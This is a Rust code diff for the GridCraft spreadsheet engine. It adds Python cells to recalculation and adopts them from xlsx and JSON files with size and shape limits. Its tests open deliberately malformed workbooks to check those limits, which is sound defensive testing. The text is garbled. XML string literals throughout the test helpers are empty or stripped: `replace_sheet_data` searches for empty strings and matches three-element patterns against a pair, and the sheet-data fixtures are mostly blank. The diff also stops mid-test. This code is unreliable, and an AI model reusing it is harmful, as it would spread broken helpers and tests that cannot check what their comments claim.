+1127,14 @@ impl Calc { let mut cleared: Vec<(usize, RangeRef)> = Vec::new(); for &k in changed { let formula = wb.sheet(k.0).and_then(|s| s.cell(k.1)).and_then(|c| c.formula.clone()); + let python = wb.sheet(k.0).and_then(|s| s.cell(k.1)).is_some_and(|c| c.py.is_some()); match formula.and_then(|f| f.expr()) { Some(e) => { let (areas, dynamic) = precedents(wb, k.0, &e); self.graph.insert(k, Node { areas, dynamic }); } + // See `rebuild`: its spill is laid out again from its result when it is calculated. + None if python => self.graph.insert(k, Node { areas: Vec::new(), dynamic: false }), None => { self.graph.remove(k); // A formula replaced by a constant (or cleared) takes its spilled values with it. @@ -1206,11 +1262,15 @@ impl Calc { exprs.insert(*k, e); } } + let python: HashMap = dirty + .iter() + .filter_map(|k| wb.sheet(k.0).and_then(|s| s.cell(k.1)).and_then(|c| c.py.as_ref()).and_then(|p| p.result_value()).map(|v| (*k, v))) + .collect(); let now = self.now(); let mut rng = self.rng; let tp = prof_now(); let (results, spills, cycles) = { - let mut host = PassHost::new(wb, &exprs, &mut rng, now); + let mut host = PassHost::new(wb, &exprs, &mut rng, now).with_python(python); host.iterate = wb.calc.iterative; for k in &dirty { host.calculate(*k); diff --git a/crates/calc/src/tests.rs b/crates/calc/src/tests.rs index 5b9e90085..1f68a58fc 100644 --- a/crates/calc/src/tests.rs +++ b/crates/calc/src/tests.rs @@ -2274,3 +2274,63 @@ fn loan_schedule_residue_keeps_excels_sign() { } assert_eq!(t.get("P7"), Value::Text("".into())); } + +/// Makes `at` a Python cell showing `cached` (its value before this calculation), with `result` +/// as its kept result, and returns the cell's key for `Calc::cells_changed`. +fn plant_python(t: &mut T, at: &str, cached: Value, result: Value) -> (usize, CellRef) { + use gridcraft_model::python::{PyCode, PyOutput}; + let output = PyOutput { value: result, type_name: "list".into(), preview: String::new(), convertible: true }; + let py = PyCode { output: Some(output), ..PyCode::new("[5, 6]") }; + let cell = Cell { value: cached, formula: None, style: gridcraft_model::StyleId::default(), py: Some(std::sync::Arc::new(py)) }; + t.wb.sheet_mut(0).unwrap().cells.set(c(at), cell); + (0, c(at)) +} + +fn column(values: &[f64]) -> Value { + let data = values.iter().map(|v| Value::Number(*v)).collect(); + Value::Array(std::sync::Arc::new(gridcraft_core::Array::new(values.len(), 1, data).unwrap())) +} + +#[test] +fn formulas_read_a_dirty_python_cell_after_it_is_laid_out() { + // B1's result can't spill (B2 holds a value), so it is #SPILL!. A1, A2 and A3 come before + // it in the pass; each must lay it out first rather than read its old value, 1. + let build = |t: &mut T| { + t.set("B2", "10"); + t.set("B3", "100"); + t.set("A1", "=B1"); + t.set("A2", "=MAX(B1:B3)"); + t.set("A3", "=SUM(B1:B3)"); + t.set("A4", "=COUNTA(B1:B3)"); + t.set("A5", "=SUMPRODUCT(--ISERROR(B1:B3))"); + }; + let check = |t: &T, how: &str| { + assert_eq!(t.get("B1"), Value::Error(CellError::Spill), "{how}"); + assert_eq!(t.get("A1"), Value::Error(CellError::Spill), "{how}: a reference"); + assert_eq!(t.get("A2"), Value::Error(CellError::Spill), "{how}: a range read"); + assert_eq!(t.get("A3"), Value::Error(CellError::Spill), "{how}: a range walked cell by cell"); + assert_eq!(t.num("A4"), 3.0, "{how}"); + assert_eq!(t.num("A5"), 1.0, "{how}: the error is seen in the range"); + }; + + // A full recalculation. + let mut t = T::new(); + build(&mut t); + plant_python(&mut t, "B1", Value::Number(1.0), column(&[5.0, 6.0])); + t.calc.recalc_all(&mut t.wb); + check(&t, "full"); + + // An incremental one: B1 becomes a Python cell after its readers. + let mut t = T::new(); + t.set("B1", "1"); + build(&mut t); + assert_eq!((t.num("A1"), t.num("A3")), (1.0, 111.0)); + let k = plant_python(&mut t, "B1", Value::Number(1.0), column(&[5.0, 6.0])); + t.calc.cells_changed(&mut t.wb, &[k]); + check(&t, "incremental"); + + // Unblocked, the readers see the new array. + t.set("B2", ""); + assert_eq!((t.num("B1"), t.num("B2")), (5.0, 6.0)); + assert_eq!((t.num("A1"), t.num("A2"), t.num("A3")), (5.0, 100.0, 111.0)); +} diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 4ad9f3d83..a65139dd6 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -119,7 +119,139 @@ fn decrypt_message(name: &str, e: gridcraft_xlsx::DecryptError) -> String { } /// Parses bytes that aren't encrypted. +/// Parses bytes that aren't encrypted, and adopts the Python cells they hold (see +/// [`adopt_python`]) within the limits of [`enforce_python_limits`]. fn open_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, Vec)> { + let (mut wb, mut warnings) = read_plain(name, bytes, csv_as_text)?; + warnings.extend(adopt_python(&mut wb)); + warnings.extend(enforce_python_limits(&mut wb)); + Ok((wb, warnings)) +} + +/// The most result cells [`adopt_python`] rebuilds from a file's cached spills, over all its +/// Python cells (each one is also limited to [`gridcraft_model::python::MAX_RESULT_CELLS`]). +pub const MAX_ADOPTED_RESULT_CELLS: u64 = 4_000_000; + +/// Python cells from a file: a cell whose formula is `PY("…",0|1)` (a format that kept it as a +/// formula) becomes a Python cell, and a Python cell whose spilled values the file cached gets +/// them back as its result, so it shows them until it runs again. Results are rebuilt for at most +/// [`MAX_ADOPTED_RESULT_CELLS`] cells in all; the rest keep only their own cached value. Returns +/// the warnings. +pub fn adopt_python(wb: &mut Workbook) -> Vec { + let mut budget = MAX_ADOPTED_RESULT_CELLS; + let mut skipped = 0usize; + for si in 0..wb.sheets.len() { + let Some(sh) = wb.sheets.get(si) else { continue }; + let formulas: Vec<(CellRef, gridcraft_model::PyCode)> = sh + .cells + .iter() + .filter_map(|(c, cell)| cell.formula.as_ref().and_then(|f| gridcraft_model::PyCode::from_formula(&f.text)).map(|p| (c, p))) + .collect(); + let max = gridcraft_model::python::MAX_RESULT_CELLS as u64; + let spills: Vec<(CellRef, RangeRef)> = sh + .spill_ranges + .iter() + .filter(|(a, r)| r.count() <= max && sh.cell(**a).and_then(|c| c.py.as_ref()).is_some_and(|p| p.output.is_none())) + .map(|(a, r)| (*a, *r)) + .collect(); + if formulas.is_empty() && spills.is_empty() { + continue; + } + let Some(sh) = wb.sheet_mut(si) else { continue }; + for (c, py) in formulas { + if let Some(cell) = sh.cells.get_mut(c) { + cell.formula = None; + cell.py = Some(std::sync::Arc::new(py)); + } + } + for (anchor, range) in spills { + let Some(left) = budget.checked_sub(range.count()) else { + skipped += 1; + continue; + }; + budget = left; + let data: Vec = + range.iter().map(|c| if c == anchor { sh.cell(c).map(|x| x.value.clone()).unwrap_or_default() } else { sh.value(c) }).collect(); + let Some(array) = gridcraft_core::Array::new(range.height() as usize, range.width() as usize, data) else { continue }; + if let Some(py) = sh.cells.get_mut(anchor).and_then(|x| x.py.as_mut()) { + std::sync::Arc::make_mut(py).output = + Some(gridcraft_model::PyOutput { value: array.into(), type_name: "list".into(), preview: String::new(), convertible: true }); + } + } + } + if skipped == 0 { + return Vec::new(); + } + vec![format!( + "The file's Python results are larger than {MAX_ADOPTED_RESULT_CELLS} cells in all, so {skipped} Python cell(s) show only their first value until they run again." + )] +} + +/// A file is somebody else's work: a Python cell whose code doesn't fit in Excel's +/// 8,192-character formula keeps only its cached value, and a kept result that is not a +/// well-formed array of at most [`gridcraft_model::python::MAX_RESULT_CELLS`] cells is dropped +/// (the cell keeps its value). Returns the warnings. +pub fn enforce_python_limits(wb: &mut Workbook) -> Vec { + let mut long = Vec::new(); + for si in 0..wb.sheets.len() { + let Some(sh) = wb.sheets.get(si) else { continue }; + let mut over = Vec::new(); + let mut bad_output = Vec::new(); + for (c, cell) in sh.cells.iter() { + let Some(py) = &cell.py else { continue }; + if !py.fits() { + long.push(format!("{}!{}", sh.name, c.a1())); + over.push(c); + } else if py.output.as_ref().is_some_and(|o| !sane_python_output(&o.value)) { + bad_output.push(c); + } + } + if over.is_empty() && bad_output.is_empty() { + continue; + } + let dropped: Vec = over.iter().chain(&bad_output).copied().collect(); + let Some(sh) = wb.sheet_mut(si) else { continue }; + for c in over { + if let Some(cell) = sh.cells.get_mut(c) { + cell.py = None; + } + } + for c in bad_output { + if let Some(py) = sh.cells.get_mut(c).and_then(|x| x.py.as_mut()) { + std::sync::Arc::make_mut(py).output = None; + } + } + // The spill of a dropped result (or of code dropped to its value) goes with it, so the + // sheet and a save no longer show the old spilled values. + for c in dropped { + if let Some(r) = sh.spill_ranges.remove(&c) { + sh.clear_spill(r); + } + } + } + let Some(first) = long.first() else { return vec![] }; + let more = if long.len() > 1 { format!(" (and {} more)", long.len() - 1) } else { String::new() }; + vec![format!( + "A Python cell's code is longer than Excel's {}-character formula limit, so {first}{more} kept only its last calculated value.", + gridcraft_model::python::MAX_FORMULA_CHARS + )] +} + +/// A Python result a file may hold: a scalar, or an array whose size matches its data and has at +/// most [`gridcraft_model::python::MAX_RESULT_CELLS`] cells. +fn sane_python_output(v: &gridcraft_core::Value) -> bool { + match v { + gridcraft_core::Value::Array(a) => { + a.rows >= 1 + && a.cols >= 1 + && a.rows.checked_mul(a.cols).is_some_and(|n| n == a.data.len() && n <= gridcraft_model::python::MAX_RESULT_CELLS) + } + _ => true, + } +} + +/// Parses bytes that aren't encrypted, as they are. +fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, Vec)> { let kind = FileKind::from_path(name); let sniffed = gridcraft_xlsx::sniff(bytes); if sniffed == gridcraft_xlsx::Format::Xls { diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 47eada0b4..c0adf6002 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5095,6 +5095,7 @@ fn a_script_cannot_switch_windows() { mod python_cells; mod python_commands; +mod python_files; mod seams; #[test] diff --git a/crates/engine/src/tests/python_files.rs b/crates/engine/src/tests/python_files.rs new file mode 100644 index 000000000..00b597445 --- /dev/null +++ b/crates/engine/src/tests/python_files.rs @@ -0,0 +1,441 @@ +//! Python cells in files: native JSON, and xlsx as `_xlfn._xlws.PY(index,0|1)` with the code in +//! the Python part ([MS-XLSX] 2.1.23, 2.3.10) and cached values. Nothing here runs Python: results +//! are cached ones, as a file would hold them. + +use std::io::{Read, Write}; +use std::sync::Arc; + +use gridcraft_core::{Array, CellError, CellRef, RangeRef, Value}; +use gridcraft_model::{Cell, PyCode, PyOutput, Workbook}; +use serde_json::json; + +use super::{s, v}; +use crate::{Session, Trust}; + +fn py(s: &mut Session, cell: &str, code: &str) { + s.execute("python.set", json!({"cell": cell, "code": code})).unwrap(); +} + +/// Gives a Python cell a result, as running it (or a file's cache) would. +fn cache(s: &mut Session, cell: &str, value: Value, type_name: &str) { + let d = s.doc_mut().unwrap(); + let wb = Arc::make_mut(&mut d.wb); + let sh = wb.sheet_mut(0).unwrap(); + let c = sh.cells.get_mut(CellRef::parse(cell).unwrap()).unwrap(); + let p = Arc::make_mut(c.py.as_mut().unwrap()); + p.output = Some(PyOutput { value, type_name: type_name.into(), preview: String::new(), convertible: true }); +} + +fn array(rows: usize, cols: usize, data: Vec) -> Value { + Value::Array(Arc::new(Array::new(rows, cols, data).unwrap())) +} + +fn save(s: &mut Session, format: &str) -> Vec { + let r = s.execute("file.saveBytes", json!({"format": format})).unwrap(); + crate::io::base64_decode(r["base64"].as_str().unwrap()).unwrap() +} + +fn open(s: &mut Session, name: &str, bytes: &[u8]) { + s.execute("file.open", json!({"name": name, "base64": crate::io::base64_encode(bytes)})).unwrap(); +} + +fn part(bytes: &[u8], name: &str) -> String { + let mut z = zip::ZipArchive::new(std::io::Cursor::new(bytes)).unwrap(); + let mut xml = String::new(); + z.by_name(name).unwrap().read_to_string(&mut xml).unwrap(); + xml +} + +fn sheet_xml(bytes: &[u8]) -> String { + part(bytes, "xl/worksheets/sheet1.xml") +} + +/// The package with `edit` applied to each XML part (by name), and `add` added. +fn with_parts(bytes: &[u8], edit: impl Fn(&str, &str) -> String, add: &[(&str, &str)]) -> Vec { + let mut z = zip::ZipArchive::new(std::io::Cursor::new(bytes)).unwrap(); + let mut out = zip::ZipWriter::new(std::io::Cursor::new(Vec::new())); + for i in 0..z.len() { + let mut f = z.by_index(i).unwrap(); + let name = f.name().to_string(); + let mut data = Vec::new(); + f.read_to_end(&mut data).unwrap(); + if let Ok(text) = std::str::from_utf8(&data) { + data = edit(&name, text).into_bytes(); + } + out.start_file(name, zip::write::SimpleFileOptions::default()).unwrap(); + out.write_all(&data).unwrap(); + } + for (name, text) in add { + out.start_file(*name, zip::write::SimpleFileOptions::default()).unwrap(); + out.write_all(text.as_bytes()).unwrap(); + } + out.finish().unwrap().into_inner() +} + +/// The package with `edit` applied to the first sheet's XML. +fn with_sheet_xml(bytes: &[u8], edit: impl Fn(&str) -> String) -> Vec { + with_parts(bytes, |name, text| if name == "xl/worksheets/sheet1.xml" { edit(text) } else { text.to_string() }, &[]) +} + +/// `xml` with its `` replaced by `data`. +fn replace_sheet_data(xml: &str, data: &str) -> String { + match (xml.find(""), xml.find("")) { + (Some(a), Some(b), _) => format!("{}{data}{}", &xml[..a], &xml[b + "".len()..]), + (_, _, Some(a)) => format!("{}{data}{}", &xml[..a], &xml[a + "".len()..]), + _ => panic!("no sheetData in {xml}"), + } +} + +/// An empty workbook's package with `data` as its first sheet's cells and, when `scripts` is +/// given, a Python part holding them (the relationship and the content type included), as +/// [MS-XLSX] 2.1.23 describes it. +fn excel_shaped(data: &str, scripts: Option<&[&str]>) -> Vec { + let mut s = s(); + let plain = save(&mut s, "xlsx"); + let Some(scripts) = scripts else { return with_sheet_xml(&plain, |xml| replace_sheet_data(xml, data)) }; + let codes: String = scripts.iter().map(|c| format!("{c}")).collect(); + let python = format!( + "\n{codes}" + ); + const REL: &str = + ""; + const TYPE: &str = ""; + let edit = |name: &str, text: &str| match name { + "xl/worksheets/sheet1.xml" => replace_sheet_data(text, data), + "xl/_rels/workbook.xml.rels" => text.replace("", &format!("{REL}")), + "[Content_Types].xml" => text.replace("", &format!("{TYPE}")), + _ => text.to_string(), + }; + with_parts(&plain, edit, &[("xl/python/python1.xml", &python)]) +} + +fn code(s: &Session, cell: &str) -> Option { + s.doc().unwrap().wb.active().unwrap().cell(CellRef::parse(cell).unwrap()).and_then(|c| c.py.as_deref()).cloned() +} + +/// A workbook with a value, a formula over a Python cell, a spilling table, an object, long code +/// with quotes and line breaks, and an error. +fn build() -> (Session, String) { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "21"})).unwrap(); + py(&mut s, "B1", "xl('A1') * 2"); + cache(&mut s, "B1", Value::Number(42.0), "int"); + s.execute("cell.set", json!({"cell": "A5", "input": "=B1+1"})).unwrap(); + py(&mut s, "C1", "[[1, 'two'], [3, \"four\"]]"); + cache(&mut s, "C1", array(2, 2, vec![1.0.into(), Value::text("two"), 3.0.into(), Value::text("four")]), "list"); + s.execute("python.set", json!({"cell": "E1", "code": "[1, 2]", "output": "object"})).unwrap(); + cache(&mut s, "E1", array(2, 1, vec![1.0.into(), 2.0.into()]), "list"); + let long = format!("# {}\ntext = \"say \\\"hi\\\"\"\nlen(text)", "x".repeat(7_900)); + assert!(PyCode::new(&long).fits()); + py(&mut s, "F1", &long); + cache(&mut s, "F1", Value::Number(8.0), "int"); + py(&mut s, "G1", "1/0"); + { + let d = s.doc_mut().unwrap(); + let sh = Arc::make_mut(&mut d.wb).sheet_mut(0).unwrap(); + sh.cells.get_mut(CellRef::parse("G1").unwrap()).unwrap().value = Value::Error(CellError::Python); + } + s.execute("formulas.calculateNow", json!({})).unwrap(); + assert_eq!(v(&s, "B1"), Value::Number(42.0)); + assert_eq!(v(&s, "A5"), Value::Number(43.0)); + assert_eq!(v(&s, "D2"), Value::text("four")); + assert_eq!(v(&s, "E1"), Value::text("list"), "a Python object shows its type"); + assert_eq!(v(&s, "E2"), Value::Empty, "and doesn't spill"); + (s, long) +} + +#[test] +fn xlsx_stores_the_code_in_the_python_part_with_cached_values() { + let (mut s, long) = build(); + let bytes = save(&mut s, "xlsx"); + let xml = sheet_xml(&bytes); + // The formula names the cell's script by index, in the order the cells are written: B1, C1, + // E1, F1, G1. + assert!(xml.contains("_xlfn._xlws.PY(0,0)42"), "{xml}"); + assert!(xml.contains(">_xlfn._xlws.PY(2,1)"), "the Python object cell has return type 1: {xml}"); + assert!(!xml.contains("xl('A1')"), "the code is not in the sheet"); + let python = part(&bytes, "xl/python.xml"); + assert!( + python.contains("xl('A1') * 2"), + "{python}" + ); + assert_eq!(python.matches("").count(), 5); + assert!( + part(&bytes, "[Content_Types].xml").contains("") + ); + assert!( + part(&bytes, "xl/_rels/workbook.xml.rels") + .contains("Type=\"http://schemas.microsoft.com/office/2023/09/relationships/Python\" Target=\"python.xml\"") + ); + assert!(xml.contains("t=\"array\" ref=\"C1:D2\""), "the spill is saved like a dynamic array's: {xml}"); + assert!(xml.contains("#VALUE!") && !xml.contains("#PYTHON!"), "Python errors are cached as #VALUE!"); + + open(&mut s, "book.xlsx", &bytes); + assert_eq!(s.doc().unwrap().trust, Trust::FromFile); + // Cached values show, spills included, and the code is back. + assert_eq!(v(&s, "B1"), Value::Number(42.0)); + assert_eq!(v(&s, "A5"), Value::Number(43.0)); + assert_eq!( + (v(&s, "C1"), v(&s, "D1"), v(&s, "C2"), v(&s, "D2")), + (Value::Number(1.0), Value::text("two"), Value::Number(3.0), Value::text("four")) + ); + assert_eq!(code(&s, "B1").unwrap().code, "xl('A1') * 2"); + assert!(code(&s, "E1").unwrap().object); + assert_eq!(code(&s, "F1").unwrap().code, long, "long code with quotes and line breaks survives"); + assert_eq!(v(&s, "G1"), Value::Error(CellError::Value)); + // A blocker typed into the spill area gives #SPILL!; clearing it spills again, without + // running anything. + s.execute("cell.set", json!({"cell": "D2", "input": "x"})).unwrap(); + assert_eq!(v(&s, "C1"), Value::Error(CellError::Spill)); + s.execute("edit.clearContents", json!({"range": "D2"})).unwrap(); + assert_eq!(v(&s, "D2"), Value::text("four")); + // Saved again, the file holds the same formulas and scripts. + let again = save(&mut s, "xlsx"); + assert!(sheet_xml(&again).contains("_xlfn._xlws.PY(0,0)")); + assert_eq!(part(&again, "xl/python.xml"), python); + // A workbook without Python cells has no Python part. + let mut plain = super::s(); + assert!(!save(&mut plain, "xlsx").windows(10).any(|w| w == b"python.xml")); +} + +#[test] +fn excel_authored_python_cells_are_read_as_python() { + // A workbook as [MS-XLSX] 2.3.10 describes it: `_xlfn._xlws.PY(index,0|1,params…)` naming a + // script of the Python part, whose code names the parameters as `%Px%`, with a spilled result + // cached. + let data = "_xlfn._xlws.PY(0,0)1\ + _xlfn._xlws.PY(1,1,C1:C3)DataFrame\ + 2"; + let bytes = excel_shaped(data, Some(&["[1, 2]", "df = xl(\"%P2%\", headers=True)\ndf.describe()"])); + let mut s = s(); + open(&mut s, "excel.xlsx", &bytes); + let a1 = code(&s, "A1").expect("an Excel Python cell is a Python cell"); + assert_eq!(a1.code, "[1, 2]"); + assert!(!a1.object); + assert_eq!((v(&s, "A1"), v(&s, "A2")), (Value::Number(1.0), Value::Number(2.0)), "its spilled values are kept"); + let cell = s.doc().unwrap().wb.active().unwrap().cell(CellRef::new(0, 0)).unwrap().clone(); + assert!(cell.formula.is_none()); + let b1 = code(&s, "B1").unwrap(); + assert_eq!(b1.code, "df = xl(\"C1:C3\", headers=True)\ndf.describe()", "a parameter is put back as its reference"); + assert!(b1.object); + assert_eq!(v(&s, "B1"), Value::text("DataFrame")); + // Saved by GridCraft, the code goes back into a Python part, the reference as text. + let again = save(&mut s, "xlsx"); + assert!(part(&again, "xl/python.xml").contains("df = xl(\"C1:C3\", headers=True)\ndf.describe()")); + // The string-literal form (other applications, files GridCraft wrote before) still reads. + let literal = "_xlfn._xlws.PY(\"1 + 1\",1)2"; + open(&mut s, "literal.xlsx", &excel_shaped(literal, None)); + assert_eq!(code(&s, "A1").map(|p| (p.code, p.object)), Some(("1 + 1".to_string(), true))); +} + +#[test] +fn a_py_formula_naming_a_missing_script_keeps_only_its_value() { + let data = "_xlfn._xlws.PY(0,0)5_xlfn._xlws.PY(3,0)6"; + for (name, bytes) in [("one.xlsx", excel_shaped(data, Some(&["5"]))), ("none.xlsx", excel_shaped(data, None))] { + let (wb, warnings) = crate::io::open_bytes(name, &bytes).unwrap(); + let sh = wb.sheet(0).unwrap(); + let b1 = sh.cell(CellRef::parse("B1").unwrap()).unwrap(); + assert!(b1.py.is_none() && b1.formula.is_none(), "{name}: no code to keep, and no formula #NAME? would replace"); + assert_eq!(b1.value, Value::Number(6.0), "{name}"); + assert!(warnings.iter().any(|w| w.contains("Python")), "{name}: {warnings:?}"); + } + let (wb, _) = crate::io::open_bytes("one.xlsx", &excel_shaped(data, Some(&["5"]))).unwrap(); + assert_eq!(wb.sheet(0).unwrap().cell(CellRef::parse("A1").unwrap()).unwrap().py.as_ref().map(|p| p.code.as_str()), Some("5")); +} + +#[test] +fn many_cells_naming_one_long_script_take_from_one_budget() { + // 20,000 cells name one script of 8,000 characters: 160 MB of code if each took a copy. + let long = "x".repeat(8_000); + let mut data = String::from(""); + for r in 1..=20_000 { + data.push_str(&format!("_xlfn._xlws.PY(0,0)1")); + } + data.push_str(""); + let (wb, warnings) = crate::io::open_bytes("many.xlsx", &excel_shaped(&data, Some(&[&long]))).unwrap(); + let sh = wb.sheet(0).unwrap(); + let with_code = sh.cells.iter().filter(|(_, c)| c.py.is_some()).count(); + assert_eq!(with_code, 64 * 1024 * 1024 / 8_000); + assert!(warnings.iter().any(|w| w.contains("Python")), "{warnings:?}"); + assert_eq!(sh.value(CellRef::parse("A20000").unwrap()), Value::Number(1.0), "the others keep their values"); +} + +#[test] +fn native_json_keeps_python_cells_and_their_results() { + let (mut s, long) = build(); + let bytes = save(&mut s, "json"); + open(&mut s, "book.json", &bytes); + assert_eq!(s.doc().unwrap().trust, Trust::FromFile); + assert_eq!(v(&s, "B1"), Value::Number(42.0)); + assert_eq!(v(&s, "D2"), Value::text("four")); + assert_eq!(v(&s, "G1"), Value::Error(CellError::Python), "the native format keeps the exact error"); + assert_eq!(code(&s, "F1").unwrap().code, long); + let e1 = code(&s, "E1").unwrap(); + assert!(e1.object); + assert_eq!(e1.output.unwrap().type_name, "list"); +} + +#[test] +fn a_spill_range_claiming_the_whole_sheet_is_dropped_on_open() { + let (mut s, _) = build(); + let bytes = save(&mut s, "xlsx"); + let evil = with_sheet_xml(&bytes, |xml| xml.replace("ref=\"C1:D2\"", "ref=\"C1:XFD1048576\"")); + assert_ne!(evil, bytes); + // Walking the claimed range would take hours; the test finishing is the check. + open(&mut s, "evil.xlsx", &evil); + let sh = s.doc().unwrap().wb.active().unwrap(); + assert!(sh.spill_ranges.values().all(|r| r.count() <= gridcraft_model::python::MAX_RESULT_CELLS as u64), "{:?}", sh.spill_ranges); + // Edits afterwards don't walk the claimed range either. + s.execute("cell.set", json!({"cell": "H9", "input": "1"})).unwrap(); + s.execute("formulas.calculateNow", json!({})).unwrap(); + assert_eq!(v(&s, "C1"), Value::Number(1.0), "the anchor keeps its cached value"); +} + +#[test] +fn rebuilt_results_have_a_budget_across_the_workbook() { + // Five Python cells each claiming a 1,000 x 1,000 spill: more than the budget in all. + let mut wb = Workbook::new(); + let sh = wb.sheet_mut(0).unwrap(); + for i in 0..5u32 { + let anchor = CellRef::new(0, i * 1_000); + sh.set_cell(anchor, Cell { py: Some(Arc::new(PyCode::new("x"))), ..Cell::value(Value::Number(1.0)) }); + sh.spill_ranges.insert(anchor, RangeRef::new(anchor, CellRef::new(999, i * 1_000 + 999))); + } + let warnings = crate::io::adopt_python(&mut wb); + let sh = wb.sheet(0).unwrap(); + let rebuilt = sh.cells.iter().filter(|(_, c)| c.py.as_ref().is_some_and(|p| p.output.is_some())).count(); + assert_eq!(rebuilt as u64, crate::io::MAX_ADOPTED_RESULT_CELLS / 1_000_000); + assert!(warnings.iter().any(|w| w.contains("Python")), "{warnings:?}"); +} + +#[test] +fn hostile_python_content_in_files_is_capped() { + let (mut s, _) = build(); + let bytes = save(&mut s, "json"); + // Make the Python cells hostile: code over the limit, and a result whose shape claims far + // more cells than it holds (the array fields are public, so a crafted file can say anything). + let mut wb: Workbook = serde_json::from_slice(&bytes).unwrap(); + let sh = wb.sheet_mut(0).unwrap(); + let b1 = sh.cells.get_mut(CellRef::parse("B1").unwrap()).unwrap(); + Arc::make_mut(b1.py.as_mut().unwrap()).code = "y".repeat(9_000); + let c1 = sh.cells.get_mut(CellRef::parse("C1").unwrap()).unwrap(); + let out = Arc::make_mut(c1.py.as_mut().unwrap()).output.as_mut().unwrap(); + out.value = Value::Array(Arc::new(Array { rows: 100_000, cols: 100_000, data: vec![Value::Number(1.0)] })); + let bytes = serde_json::to_vec(&wb).unwrap(); + let (wb, warnings) = crate::io::open_bytes("evil.json", &bytes).unwrap(); + let sh = wb.sheet(0).unwrap(); + let b1 = sh.cell(CellRef::parse("B1").unwrap()).unwrap(); + assert!(b1.py.is_none(), "code over the formula limit is dropped"); + assert_eq!(b1.value, Value::Number(42.0), "the cached value stays"); + assert!(warnings.iter().any(|w| w.contains("Python cell")), "{warnings:?}"); + let c1 = sh.cell(CellRef::parse("C1").unwrap()).unwrap(); + assert!(c1.py.as_ref().unwrap().output.is_none(), "a malformed result is dropped"); + open(&mut s, "evil.json", &bytes); + s.execute("formulas.calculateNow", json!({})).unwrap(); + assert_eq!(v(&s, "C1"), Value::Number(1.0)); + + // PY formulas from other formats become Python cells; non-literal PY calls stay formulas. + let mut wb = Workbook::new(); + let sh = wb.sheet_mut(0).unwrap(); + sh.set_cell(CellRef::new(0, 0), Cell::formula(gridcraft_model::Formula::new("=PY(\"1+\"&\"1\",1)"))); + sh.set_cell(CellRef::new(1, 0), Cell::formula(gridcraft_model::Formula::new("=PY(A1,0)"))); + sh.set_cell(CellRef::new(2, 0), Cell::formula(gridcraft_model::Formula::new("=_xlfn._xlws.PY(\"2\",0)"))); + crate::io::adopt_python(&mut wb); + let sh = wb.sheet(0).unwrap(); + let a1 = sh.cell(CellRef::new(0, 0)).unwrap(); + assert_eq!(a1.py.as_ref().map(|p| (p.code.as_str(), p.object)), Some(("1+1", true))); + assert!(a1.formula.is_none()); + assert!(sh.cell(CellRef::new(1, 0)).unwrap().py.is_none()); + assert_eq!(sh.cell(CellRef::new(2, 0)).unwrap().py.as_ref().map(|p| p.code.as_str()), Some("2")); +} + +#[test] +fn a_malformed_result_never_spills() { + let mut s = s(); + py(&mut s, "A1", "x"); + let bad = Array { rows: 4_000_000_000, cols: 4_000_000_000, data: vec![] }; + cache(&mut s, "A1", Value::Array(Arc::new(bad)), "list"); + s.execute("formulas.calculateNow", json!({})).unwrap(); + assert_eq!(v(&s, "A1"), Value::Error(CellError::Spill)); + assert!(s.doc().unwrap().wb.active().unwrap().spill.is_empty()); +} + +#[test] +fn py_formulas_over_the_size_limit_keep_only_their_value() { + let lits = |n: usize| { + let mut v = vec![format!("\"{}\"", "x".repeat(255)); n / 255]; + if !n.is_multiple_of(255) { + v.push(format!("\"{}\"", "x".repeat(n % 255))); + } + v.join("&") + }; + let mut wb = Workbook::new(); + let sh = wb.sheet_mut(0).unwrap(); + let cell = |text: String| Cell { value: Value::text("cached"), ..Cell::formula(gridcraft_model::Formula::new(&text)) }; + sh.set_cell(CellRef::new(0, 0), cell(format!("_xlfn._xlws.PY({},0)", lits(8_080)))); + sh.set_cell(CellRef::new(1, 0), cell(format!("_xlfn._xlws.PY({},0)", lits(8_079)))); + let xlsx = gridcraft_xlsx::write_xlsx(&wb).unwrap(); + let (wb, warnings) = crate::io::open_bytes("long.xlsx", &xlsx).unwrap(); + let sh = wb.sheet(0).unwrap(); + let over = sh.cell(CellRef::new(0, 0)).unwrap(); + assert!(over.py.is_none() && over.formula.is_none(), "8,080 characters of code is over the limit"); + assert_eq!(over.value, Value::text("cached")); + let within = sh.cell(CellRef::new(1, 0)).unwrap(); + assert_eq!(within.py.as_ref().map(|p| p.code.chars().count()), Some(8_079)); + assert!(warnings.iter().any(|w| w.contains("A1")), "{warnings:?}"); +} + +#[test] +fn a_dropped_python_result_takes_its_spill_with_it() { + // A1's code is over the limit and B1's result is malformed; each had spilled down to row 3, + // and C1's well-formed result keeps its spill. + let mut wb = Workbook::new(); + let sh = wb.sheet_mut(0).unwrap(); + let out = |value: Value| Some(PyOutput { value, type_name: "list".into(), preview: String::new(), convertible: true }); + let col = array(3, 1, vec![Value::Number(7.0), Value::Number(8.0), Value::Number(9.0)]); + let bad = Value::Array(Arc::new(Array { rows: 3, cols: 1, data: vec![Value::Number(7.0)] })); + for (at, code, value) in [("A1", "y".repeat(9_000), col.clone()), ("B1", "b".into(), bad), ("C1", "c".into(), col)] { + let at = CellRef::parse(at).unwrap(); + let py = PyCode { output: out(value), ..PyCode::new(&code) }; + sh.set_cell(at, Cell { value: Value::Number(7.0), formula: None, style: Default::default(), py: Some(Arc::new(py)) }); + let r = RangeRef::new(at, CellRef::new(2, at.col)); + sh.spill_ranges.insert(at, r); + for c in r.iter().skip(1) { + sh.spill.insert(c, Value::Number(8.0)); + } + } + let warnings = crate::io::enforce_python_limits(&mut wb); + assert!(warnings.iter().any(|w| w.contains("A1")), "{warnings:?}"); + let sh = wb.sheet(0).unwrap(); + for (anchor, below) in [("A1", "A2"), ("B1", "B3")] { + assert!(!sh.spill_ranges.contains_key(&CellRef::parse(anchor).unwrap()), "{anchor}'s spill range stays"); + assert_eq!(sh.value(CellRef::parse(below).unwrap()), Value::Empty, "{below} still shows {anchor}'s old spill"); + assert_eq!(sh.value(CellRef::parse(anchor).unwrap()), Value::Number(7.0), "{anchor} keeps its value"); + } + assert_eq!(sh.value(CellRef::parse("C2").unwrap()), Value::Number(8.0), "a sound result keeps its spill"); + // A save writes no value for the dropped spills. 